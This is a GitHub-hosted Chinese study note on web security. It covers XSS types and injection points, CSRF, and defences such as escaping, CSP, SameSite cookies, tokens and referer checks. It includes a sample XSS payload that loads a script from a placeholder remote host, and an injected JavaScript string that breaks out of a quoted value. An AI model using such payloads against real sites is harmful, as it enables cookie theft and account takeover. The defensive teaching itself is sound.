Skip to content

Latest commit

 

History

History
66 lines (49 loc) · 2.93 KB

web安全.md

File metadata and controls

66 lines (49 loc) · 2.93 KB

XSS 跨站脚本攻击

即注入脚本到页面,为所欲为。例如当后台的html模板为<div>#{content}</div>,而其中的content正好是我们前台传递过来的url的参数, 这时如果我们传入的url参数为一个脚本,例如<script src='http://xxx.xxx.xx/index.js'></script>这个时候我们就可以在这注入的脚本里面为所欲为。 如盗用cookies进而冒充登陆,盗取数据等等。

跨站攻击有几种分类:

  • url参数直接注入 (反射型)
  • 存储到数据库中后被读取时注入 (存储型)

注入点:

  • html内容
  • 属性
  • javaScript代码
  • 富文本

XSS 的防御

可直接使用已有的轮子XSS。 CSP。

转义

html内容

<>分别用&lt;&gt;来替换

html属性

  • , 当class当中含有引号的时候,会将属性提前关闭,对应的策略任然是转义,使用&quto;来替代双引号,使用&#39来代替单引号

javaScript代码

当我们的代码当中含有后台传回来的数据的时候,也有可能由于引号问题而提前结束字符串, 如下

<script>
    var data = "#{data}"
    // 当出现XSS攻击的时候上面的data可能成为这样: var data = "hello";alert(1);"";
</script>
  • 解决办法之一是将data当中的双引号转义" => \", 但是这种方式不能完全解决问题
  • 正确的解决办法是在返回数据的时候使用JSON.stringfy将数据转换成JSON格式,它会对引号等进行转义,更加方便

富文本

  • 使用黑名单: 即过滤那些不允许的标签 // 不推荐
  • 使用白名单: 遍历html,不在白名单当中的标签和属性应该删除,可使用cheerio这个库莱操作dom

CSP 指定哪些内容可以执行

内容安全策略( CSP ) - HTTP | MDN

  • 参看MDN

CSRF 跨站请求伪造

通过发送请求来进行攻击,例如有一个网站a, 它有它的前端和后端,当用户登陆后,会在本地保存自己的cookies, 然后有一个攻击者b的网站,当用户无意间,点击进入了b的网站。 b网站的脚本会创建一个form表单,并设置相应的值,然后触发提交,利用form表单的无跨域限制, 冒充用户的身份使用post或者get去发送或者获取一些数据到a网站的后台,这样是特别危险的

CSRF 防御

禁止第三方网站携带Cookies

设置Cookies的samesite选项,但是现在只有chrome支持它

token 和 验证码

因为CSRF一般是不会经a网站的前端的,所以我们可以在a网站的前端添加一些信息,这样攻击者的b网站就拿不到我们的信息

  • 验证码: 可以用轮子,如ccap, 前后端配合,后端生成验证码图片和数据,把图片返回给前端,数据可以用户id为键存储起来,下一次请求来的时候将验证码和之前存的进行比对
  • token: 一个随机的字符串。

验证 referer

通过验证referer来禁止第三方网站的访问